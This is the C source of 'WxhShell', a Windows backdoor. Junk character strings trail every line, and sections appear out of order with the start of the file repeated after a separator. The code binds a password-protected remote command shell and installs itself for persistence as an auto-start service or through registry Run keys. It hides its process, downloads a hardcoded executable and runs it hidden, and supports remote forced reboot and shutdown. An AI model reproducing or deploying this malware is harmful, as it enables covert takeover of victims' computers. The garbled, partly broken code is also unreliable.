    else { qzZ/%{Ak  
    closesocket(wsh); t<UJR*R=L  
    ExitThread(0); V?M (exN  
    } 3jAr"xc  
    break; O t)}:oG  
    } &4:R(]|  
  // 获取shell M(a%Qk?]/  
  case 's': { Vc9rc}  
    CmdShell(wsh); %V>%AP  
    closesocket(wsh); |SOLC  
    ExitThread(0); }MQ:n8  
    break; Og1-LP|X  
  } \U$:/#1Oe  
  // 退出 v[Q)L!J1  
  case 'x': { i#la'ICwJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); QCb D^  
    CloseIt(wsh); xF[%R{Mn'  
    break; +*8su5:[&@  
    } EX8+3>)  
  // 离开 .P 1WY  
  case 'q': { Yj@ Sy  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Xfk DMh  
    closesocket(wsh); xh2r?K@k>  
    WSACleanup(); [#Qf#T%5h  
    exit(1); ;U=b 6xE  
    break; G[>NP#P  
        } u+j\PWOtm  
  } "9_$7.q<y  
  } 3:iEt (iCI  
S"&Gutu3o  
  // 提示信息  |,$&jSe  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N6._J b  
} Cx2# 0$  
  } tczJk1g}  
<iky~iE  
  return; _Ay^v#a  
} qSNCBn '  
UQDAql  
// shell模块句柄 MKfK9>a  
int CmdShell(SOCKET sock) pT|s#-}  
{ G=zNZ  
STARTUPINFO si; vclc%ws  
ZeroMemory(&si,sizeof(si)); =Ydrct  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >=0]7k;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T_D3WHp  
PROCESS_INFORMATION ProcessInfo; _Q1p_sdg  
char cmdline[]="cmd"; 1b~21n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #+ch  
  return 0; #NFB=o JI  
} 94w)Yln  
Q$U5[ TZm  
// 自身启动模式 (X "J)x aQ  
int StartFromService(void) hP)Zm%@0f  
{ C][$0  
typedef struct fB+h( 2N~  
{ t"4* ]S  
  DWORD ExitStatus; p3Ux%/ZqPV  
  DWORD PebBaseAddress; 9E ^!i  
  DWORD AffinityMask; g[(@@TiG  
  DWORD BasePriority; =6~  
  ULONG UniqueProcessId; ?"Ez  
  ULONG InheritedFromUniqueProcessId; ;<M}ZL@m  
}   PROCESS_BASIC_INFORMATION; Ikdj?"+O  
DO(};R%=  
PROCNTQSIP NtQueryInformationProcess; 8_}t,BC  
oMEW5.VX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0''p29  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P\MDD@  
A1prYD  
  HANDLE             hProcess; s6~;)(r  
  PROCESS_BASIC_INFORMATION pbi; }? _KZ)  
SZW_V6\t>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); VNTbjn]  
  if(NULL == hInst ) return 0; v7"VH90`!  
56)!&MF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +E</A:|}S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +ALrHFG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @/:4beh  
4NID:<  
  if (!NtQueryInformationProcess) return 0; q5_zsUR=  
:XhF:c[.:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Es+I]o0K  
  if(!hProcess) return 0; (?Mn_FNE|  
1L*[!QT4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1\fx57a\  
)YAa7\Od  
  CloseHandle(hProcess); vcFR Td  
'd~(=6J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VZt%cq  
if(hProcess==NULL) return 0; Wo "s;Z  
S=,czs3N  
HMODULE hMod; l6bY!I>  
char procName[255]; EsKgS\`RZ  
unsigned long cbNeeded; hV(^Y)f  
Z;G*wM"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3`&FXgo  
D>y5&`  
  CloseHandle(hProcess); R0qZxoo  
C$[iduS  
if(strstr(procName,"services")) return 1; // 以服务启动 $0 .6No_|  
W^8  
  return 0; // 注册表启动 d` ttWWPw  
} h,$CJdDY]  
%e]G]B%  
// 主模块 7dY_b  
int StartWxhshell(LPSTR lpCmdLine) 6B8!}6Ojc  
{ .T3N"}7[  
  SOCKET wsl; )vO"S  
BOOL val=TRUE; 5@xR`g-  
  int port=0; oT\K P  
  struct sockaddr_in door; Ga 5s9wC  
cjL)M=pIS  
  if(wscfg.ws_autoins) Install(); a_c(7bQ  
pL,XHR@Iv  
port=atoi(lpCmdLine); u9 &$`N_G  
QQW}.>N  
if(port<=0) port=wscfg.ws_port; :6(\:  
hZ1enej)  
  WSADATA data; lNxP  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Led\S;pl  
]_(hUj._  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Sesdhuy.@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =x -7 Wy  
  door.sin_family = AF_INET; k( Sda>-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e#/&A5#Ya  
  door.sin_port = htons(port); QwX81*nx  
Zy+ERaF|]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EK4%4<"  
closesocket(wsl); {3  
return 1; o6A$)m5V  
} hM]Z T5;<  
H/{@eaV  
  if(listen(wsl,2) == INVALID_SOCKET) { y^ skE{  
closesocket(wsl); /C8}5)  
return 1; zd5=W"Y;]  
} {A==av  
  Wxhshell(wsl); 4wSZ'RTSR  
  WSACleanup(); _S{TjGZ&  
oW^x=pS9  
return 0; CaZc{  
1|{s8[;8  
} ML>M:Ik+  
#; !@Pf  
// 以NT服务方式启动 32K& IfV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) FXo.f<U  
{ z@VL?A(3  
DWORD   status = 0; x[lIib1s  
  DWORD   specificError = 0xfffffff; _6fy'%J=U  
?w(hPUd!2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D\5+2 G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7R6B}B?/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [TA.|7&  
  serviceStatus.dwWin32ExitCode     = 0; /!0&b?  
  serviceStatus.dwServiceSpecificExitCode = 0; Xb:* KeZq  
  serviceStatus.dwCheckPoint       = 0; qfXt%6L  
  serviceStatus.dwWaitHint       = 0; ,+df=>$W  
t|'%0 W  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hk=[v7  
  if (hServiceStatusHandle==0) return; [KBa=3>{  
8;pY-j #  
status = GetLastError(); aUNA` L  
  if (status!=NO_ERROR) G4c@v1#%.  
{ *KNfPh#wi}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9~`#aQG T  
    serviceStatus.dwCheckPoint       = 0; ,G0"T~  
    serviceStatus.dwWaitHint       = 0; [KR%8[e  
    serviceStatus.dwWin32ExitCode     = status; B{=DnB6  
    serviceStatus.dwServiceSpecificExitCode = specificError; SWw!s&lP&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); J.JD8o9sa  
    return; 'a0M.*f}G  
  } ,iYhD-"'  
>rlUV"8jY;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ynw(wSH=  
  serviceStatus.dwCheckPoint       = 0; =)Hu(;Yv  
  serviceStatus.dwWaitHint       = 0; nam]eW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Jw5@#j  
} oo;<I_#07  
\bT0\ (Js\  
// 处理NT服务事件,比如:启动、停止 }*bp4<|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) EeMKo  
{ B](R(x>L  
switch(fdwControl) Ze>R@rK  
{ P Ptmh. }e  
case SERVICE_CONTROL_STOP: |a03S Zx  
  serviceStatus.dwWin32ExitCode = 0; Lp-$Ie  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &ic'!h"  
  serviceStatus.dwCheckPoint   = 0; 3ux7^au  
  serviceStatus.dwWaitHint     = 0; ^Lb\k|U ,\  
  { 2'=)ese  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eV!(a8  
  } MH)V=xU|)  
  return; .'o=J`|  
case SERVICE_CONTROL_PAUSE: Eb~vNdPo  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ag2~q  
  break; }&+,y<>   
case SERVICE_CONTROL_CONTINUE: _*UI}JtlS  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :q3w;B~  
  break; 3:Nc`tM_  
case SERVICE_CONTROL_INTERROGATE: 3PvxU|*F  
  break; U;iCH  
}; I`oJOLV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d1_kw A2y  
} (b~l.@xh  
\},H\kK+^  
// 标准应用程序主函数 -3yK>\y=|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5ph CEKt;  
{ jY\z+lW6A  
6h5g!GQD  
// 获取操作系统版本 ! (lF#MG}  
OsIsNt=GetOsVer(); 41=H&G&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %r.OV_04  
&I=o1F2B)  
  // 从命令行安装 i/*)1;xsk  
  if(strpbrk(lpCmdLine,"iI")) Install(); dH5*%  
hN K wQ  
  // 下载执行文件 43h06X`  
if(wscfg.ws_downexe) { HqsqUS3[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [2xu`HT02  
  WinExec(wscfg.ws_filenam,SW_HIDE); Y[)mHs2  
} nHeJ20  
xO:h[  
if(!OsIsNt) { ?8kFAf~  
// 如果时win9x,隐藏进程并且设置为注册表启动 4u*n7di$9d  
HideProc(); 4tUoK[p  
StartWxhshell(lpCmdLine); ::{\O\w  
} z59;Qk  
else JtY$AP$  
  if(StartFromService()) o|d:rp!^  
  // 以服务方式启动 9mk@\Gqqm  
  StartServiceCtrlDispatcher(DispatchTable); xGr{ad.N  
else yw:%)b{  
  // 普通方式启动 xU%]G .k  
  StartWxhshell(lpCmdLine); Hd;NvNS  
K:-jn}i?/  
return 0; ~D5FnN9  
} ]:@{tX 7c  
6X9$T11Vc  
|APOTQV  
c nv%J}wq  
=========================================== _,0.h*c  
/,uxj5_cT  
CvRCcSJM\2  
|qguLab(  
I 2AQ G  
x1`w{5;C 2  
" }~&0<8m  
[mwqCW&  
#include <stdio.h> CR.d3!&28  
#include <string.h> 3/usgw1  
#include <windows.h> a0]GQyIG  
#include <winsock2.h> wQ+i l6  
#include <winsvc.h> 837:;<T  
#include <urlmon.h> 7;@YR  
Q)4[zStR#  
#pragma comment (lib, "Ws2_32.lib") GQ?FUFuIoW  
#pragma comment (lib, "urlmon.lib") Ff>X='{  
5l@} 1n  
#define MAX_USER   100 // 最大客户端连接数 [u*7( 4e  
#define BUF_SOCK   200 // sock buffer :j3^p8]  
#define KEY_BUFF   255 // 输入 buffer J ?aJa  
R`$jF\"`r  
#define REBOOT     0   // 重启 "qC3%9e  
#define SHUTDOWN   1   // 关机 %4rlB$x  
xe6V7Wi/Tt  
#define DEF_PORT   5000 // 监听端口 KXx;~HtO  
gktlwiCZ  
#define REG_LEN     16   // 注册表键长度 X ]&`"Z]  
#define SVC_LEN     80   // NT服务名长度 82r{V:NCK)  
!7~4`D c6U  
// 从dll定义API %.Btf3y~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2vB,{/GXP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); GD}rsBQNkJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^y ', l  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ow1+zltgj-  
"i&n;8?Y  
// wxhshell配置信息 K)l*$h&-  
struct WSCFG { D`Vb3aNB=L  
  int ws_port;         // 监听端口 #p;<X|Hc}8  
  char ws_passstr[REG_LEN]; // 口令 2=fLb7  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7}\AhQ, S  
  char ws_regname[REG_LEN]; // 注册表键名 $l.8  
  char ws_svcname[REG_LEN]; // 服务名 jX'pUO  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @|<nDd{2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %vf;qVoA~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hiVDN"$$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no VIGLl'8p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =&-.]| t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ZR3sz/ulLd  
:T6zT3(")D  
}; GM;uwL#  
d72( g$F  
// default Wxhshell configuration R.* k7-(;  
struct WSCFG wscfg={DEF_PORT, X_JC1  
    "xuhuanlingzhe", [Z'4YXS  
    1, P*Jk 8MK#G  
    "Wxhshell", Smy J@.L"  
    "Wxhshell", 4 }_}3.  
            "WxhShell Service", b)XGr?  
    "Wrsky Windows CmdShell Service", |1!|SarM{B  
    "Please Input Your Password: ", c\P}Z Q  
  1, *2pE39  
  "http://www.wrsky.com/wxhshell.exe", 4;H m%20g  
  "Wxhshell.exe" LM"b%  
    }; j _E(h.  
|C+ 5  
// 消息定义模块 Z^mIGy}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %^I 7=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,-$%>Uv   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 23;\l   
char *msg_ws_ext="\n\rExit."; eon(C|S7eK  
char *msg_ws_end="\n\rQuit."; Z^A(Q>{e  
char *msg_ws_boot="\n\rReboot..."; }EfRYE$E  
char *msg_ws_poff="\n\rShutdown..."; ou|3%&*"  
char *msg_ws_down="\n\rSave to "; b[n6L5P5m2  
@ohJ'  
char *msg_ws_err="\n\rErr!"; '@hnqcqXq  
char *msg_ws_ok="\n\rOK!"; A-\n"}4  
y fS  
char ExeFile[MAX_PATH]; D 5Z7?Y  
int nUser = 0; rY6bc\?`x  
HANDLE handles[MAX_USER]; {[H#lX 4  
int OsIsNt; :^QV,d<C  
iu+H+_  
SERVICE_STATUS       serviceStatus; ONcS,oHW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -Vg0J6x  
UU =,Brb  
// 函数声明 pek5P4W_  
int Install(void); kc2E4i  
int Uninstall(void); {;UBW7{  
int DownloadFile(char *sURL, SOCKET wsh); OH+2)X  
int Boot(int flag); z"sv,W  
void HideProc(void); c3Ig4n0Y>  
int GetOsVer(void); 5oD%~Fk l  
int Wxhshell(SOCKET wsl); P!~&Ei  
void TalkWithClient(void *cs); 2)^T[zHe  
int CmdShell(SOCKET sock); giddM2'  
int StartFromService(void); OJcI0(G  
int StartWxhshell(LPSTR lpCmdLine); g;3<oI/P  
&19z|Id  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ON_G D"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9Cb>J  
Me,AE^pgL'  
// 数据结构和表定义 /8(t:  
SERVICE_TABLE_ENTRY DispatchTable[] = IP 1{gMG  
{ Ce3  
{wscfg.ws_svcname, NTServiceMain}, uUG&At  
{NULL, NULL} V SH64  
}; FRE${~Xd  
?=Z0N&}[  
// 自我安装 c*> SZ'T\  
int Install(void) N;,N6&veK/  
{ P}p6{  
  char svExeFile[MAX_PATH]; Q F_K^(  
  HKEY key;  #Bn7Cc  
  strcpy(svExeFile,ExeFile); l]e7  
0jefV*3qpB  
// 如果是win9x系统,修改注册表设为自启动 f9E.X\"  
if(!OsIsNt) { j7&0ckN&G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MdNV3:[\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w+ibY  
  RegCloseKey(key); YC~kq?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p7)b@,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :}w^-I"  
  RegCloseKey(key); QN m.8c$  
  return 0; \?.M1a[  
    } Uefw  
  } obIYC  
} h@ ?BA<'S  
else { RE:$c!E!  
Riz!HtyR  
// 如果是NT以上系统,安装为系统服务 &4l >_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9=^4p=1J  
if (schSCManager!=0) .l&<-l;UQ  
{ </d&bS  
  SC_HANDLE schService = CreateService D8_-Dvp7H  
  ( [W,maT M"  
  schSCManager, ~rU{Q>c  
  wscfg.ws_svcname, (svd~he2  
  wscfg.ws_svcdisp, Y{#m=-h  
  SERVICE_ALL_ACCESS, nR~L$Wu5_a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (hX}O>  
  SERVICE_AUTO_START, & 5YI!; q,  
  SERVICE_ERROR_NORMAL, [R[Suf  
  svExeFile, Z,Tv8;  
  NULL, # OQ(oyT  
  NULL, #6<9FY#  
  NULL, 9Lxj ]W2^  
  NULL, ]hkway  
  NULL FmRa]31W  
  ); e6?h4}[+*  
  if (schService!=0) ;yH1vX  
  { |LDo<pE*V4  
  CloseServiceHandle(schService); rRZ ,X%  
  CloseServiceHandle(schSCManager); sh"\ kk9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2L_ts=  
  strcat(svExeFile,wscfg.ws_svcname); bMw)> 4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lTv_%hUp  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); DV/P/1E  
  RegCloseKey(key); a<X<hxW:  
  return 0; K:eP Il{JE  
    } 8.Ty ,7Z  
  } 6,|)%~VUm  
  CloseServiceHandle(schSCManager); A5ps|zidI  
} &Qdd\h#  
} AiO29<  
0TI+6u  
return 1; f&ym'S  
} !>+Na~eN  
J5Tl62}  
// 自我卸载 Et+N4w  
int Uninstall(void) cy6 P=k *  
{ ou@ P#:<B  
  HKEY key; z_J"Qk  
d98ZC+q  
if(!OsIsNt) { }A"%YDrNbG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LJMw-#61sj  
  RegDeleteValue(key,wscfg.ws_regname); [ Q6v#I  
  RegCloseKey(key); (HkMubnqg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A %s"WSx,  
  RegDeleteValue(key,wscfg.ws_regname); vx_v/pD  
  RegCloseKey(key); >p 7e6%  
  return 0; RSY{IY  
  } { O*maE"  
} &?<o692  
} 3RP}lb  
else { %G$KahxV>  
bg)yl iX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9c1n  
if (schSCManager!=0) DPNUm<>  
{ XoaBX2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f&Bu_r  
  if (schService!=0) of ^N4  
  { ; . c]0  
  if(DeleteService(schService)!=0) { Hdh'!|w  
  CloseServiceHandle(schService); P$\vD^  
  CloseServiceHandle(schSCManager); GIDC'  
  return 0; <Ep-aRI  
  } b&!7(Q[ sT  
  CloseServiceHandle(schService); Au,}5=+`P  
  } '@iS5Fni  
  CloseServiceHandle(schSCManager); ~J6c1jG  
} dt  4_x1  
} xF_ Y7rw1w  
-)aBS3  
return 1; :r[`bqC;\*  
} *~|xj,md  
QP?Z+P<  
// 从指定url下载文件 .Tdl'y:..  
int DownloadFile(char *sURL, SOCKET wsh) y@G5I>v  
{ %97IXrE  
  HRESULT hr; (y AQm pp  
char seps[]= "/"; :(Feg2c  
char *token; t  HPC  
char *file; SD6xi\8  
char myURL[MAX_PATH]; c;ELAns>  
char myFILE[MAX_PATH]; >b0e"eGt  
^6ZA2-f/<8  
strcpy(myURL,sURL); v>$GVCY  
  token=strtok(myURL,seps); EpCUL@+  
  while(token!=NULL) Mnaoh:z  
  { 81/Bn!  
    file=token; quU%9m \S`  
  token=strtok(NULL,seps); 0@t/j<5o  
  } 3e:"tus~  
?(!$vqS`f(  
GetCurrentDirectory(MAX_PATH,myFILE); atFj Vk^  
strcat(myFILE, "\\"); #:3E.=  
strcat(myFILE, file); JF_\A)<ki  
  send(wsh,myFILE,strlen(myFILE),0); 5HioxHL  
send(wsh,"...",3,0); Xt/muV  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <vA^%D<\~  
  if(hr==S_OK) yKa}U!$   
return 0; fdzD6K ZI  
else >=i47-H  
return 1; v. ,C"^W  
{JzX`Z30l  
} 8Hs>+Udl  
Y'Jb@l`$-  
// 系统电源模块 ^^%sPtp  
int Boot(int flag) rsvZi1N4w$  
{ o_EXbS]C  
  HANDLE hToken; } CJQC  
  TOKEN_PRIVILEGES tkp; d"nE+pgE  
z_< 7T4  
  if(OsIsNt) { %"DEgI P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6lq7zi}'w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l<{]%=Qg  
    tkp.PrivilegeCount = 1; *#frbV?;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `qSNS->  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U^~K-!0  
if(flag==REBOOT) { 6,0pkx&Nv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ."PR Z,  
  return 0; ;vF8V`f   
} "a6 wd  
else { lbgnO s,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >3X!c"#l  
  return 0; EH]5ZZ[Z  
} 6U7z8NV&[  
  } I [0od+K  
  else { ]{nFB3vtB  
if(flag==REBOOT) { Y 1Bj++?2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) kte Dh7  
  return 0; l@<^V N@  
} E[6JHBE*r  
else { >RBq&'f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) OcMd'fwO  
  return 0; +:~&"U^ z&  
} @iy ^a  
} jfS?#;T)  
i,FG?\x@  
return 1; hX 9.%-@sR  
} 0:h;ots'  
RoLUPy9U  
// win9x进程隐藏模块 ]^&DEj{  
void HideProc(void) <{YP=WYW  
{ hn.9j"  
AzN.vA)q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \%E Zg  
  if ( hKernel != NULL ) :4<+)r26  
  { s>"=6gb  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2sy{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); YurK@Tq7  
    FreeLibrary(hKernel); |I7P 0JqP  
  } X`:(-3T  
xp1 +C{  
return; *WfOB2rU  
} + yS"pOT  
q uv`~qn  
// 获取操作系统版本 bI@+Or  
int GetOsVer(void) W]_+3qvZ  
{ LZM[Wg#  
  OSVERSIONINFO winfo; .ymR%X_k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *2 4P T7  
  GetVersionEx(&winfo); <jw`"L[D  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f&ZxG,]H i  
  return 1; >('L2]4\v  
  else :{LVS nG  
  return 0; &.=d,XKN  
} U-3KuR+0  
&EXql']  
// 客户端句柄模块 WaN0$66[:  
int Wxhshell(SOCKET wsl) d<V+;">2  
{ "a5?cX;  
  SOCKET wsh; 7u!R 'D  
  struct sockaddr_in client; (bH"x  
  DWORD myID; 2j4VW0:  
X||o iqbY  
  while(nUser<MAX_USER) v=i[s  
{ Trbgg  
  int nSize=sizeof(client); =d7lrx+z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B HoZ}1_  
  if(wsh==INVALID_SOCKET) return 1; %9-).k  
=NF},j"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 05DK-Wh?  
if(handles[nUser]==0) >B skw2  
  closesocket(wsh); '8i np[_  
else \0(QO8.  
  nUser++; mV`Z]-$$i  
  } @XDU !<N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zL3~,z/o  
cm-cwPAh  
  return 0; Si6%6rAhj  
} -Qiay/tlu  
kd|@.  
// 关闭 socket xlgN}M  
void CloseIt(SOCKET wsh) &{x5 |$SD  
{ #?!)-Q%  
closesocket(wsh); n|SsV  
nUser--; @w,-T@nAW  
ExitThread(0); I@+dE V`Lf  
} /Kwo^Q{  
&UbNp8h  
// 客户端请求句柄 M`Y~IG}  
void TalkWithClient(void *cs) WSi Utf|g  
{ q^( [ & +  
K}`.?6O  
  SOCKET wsh=(SOCKET)cs; kIrME:  
  char pwd[SVC_LEN]; ut& RKr3  
  char cmd[KEY_BUFF]; +S^Uw'L$=T  
char chr[1]; a`q">T%q  
int i,j; cEve70MV  
h+,zfVJu  
  while (nUser < MAX_USER) { 2B=yT8  
[% |i  
if(wscfg.ws_passstr) {  Cj_cu  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d@7 ]=P:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WkXa%OZ  
  //ZeroMemory(pwd,KEY_BUFF); 2P!Pbl<  
      i=0; s7(mNpo  
  while(i<SVC_LEN) { R\A5f\L9  
iW-w?!>|m  
  // 设置超时 2[r#y1ro  
  fd_set FdRead; k U*\Fa*E  
  struct timeval TimeOut; asj^K|.z  
  FD_ZERO(&FdRead); -?2ThvT  
  FD_SET(wsh,&FdRead); ~-A5h(  
  TimeOut.tv_sec=8; yGZb  
  TimeOut.tv_usec=0; $khWu>b  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); oq^#mJL  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s$ &:F4=?  
:f 1*-y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IObGmc  
  pwd=chr[0]; 2e/ JFhA  
  if(chr[0]==0xd || chr[0]==0xa) { Cbx/  
  pwd=0; *]W{83rXQ  
  break; w/~,mzM"  
  } #If}P$!  
  i++; dF5EIPl;J  
    } TW{.qed8^  
BV9B}IV  
  // 如果是非法用户,关闭 socket ?\(E+6tpP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jXSo{  
} 2%. A{!  
CS:j->  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a+uSCs[C  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ",w@_}z:  
['tGc{4  
while(1) { 7xMvf<1P  
g.SFl  
  ZeroMemory(cmd,KEY_BUFF); "n}J6   
)ra_`Qdcf  
      // 自动支持客户端 telnet标准   QO[!  
  j=0; rt_%_f>qd  
  while(j<KEY_BUFF) { |XtN\9V.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !X` 5  
  cmd[j]=chr[0]; SBzJQt@Hs  
  if(chr[0]==0xa || chr[0]==0xd) { W[AX?  
  cmd[j]=0; 8jMw7ti  
  break; %qV=PC  
  } 4sP0oe[h  
  j++; PL@hsZty~c  
    } 7!]$XGz[  
0 x4Xs  
  // 下载文件 K``MS  
  if(strstr(cmd,"http://")) { #OqQD6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); plh.-"   
  if(DownloadFile(cmd,wsh)) I ^?TabL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z[)t34EY"  
  else $k,Z)2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ckj2$c~  
  } Pv17wUB  
  else { =3]}87  
1p[C5j3  
    switch(cmd[0]) { %YkJ A:  
  {pH{SRM)B  
  // 帮助 /x c<&  
  case '?': { b|^g51v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); umaF}}-Q{  
    break; Dq/_^a/1  
  } )a AKO`  
  // 安装 N7Kq$G2O  
  case 'i': { 9]<p  
    if(Install()) i,r O3J n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z#ab V1 Xi  
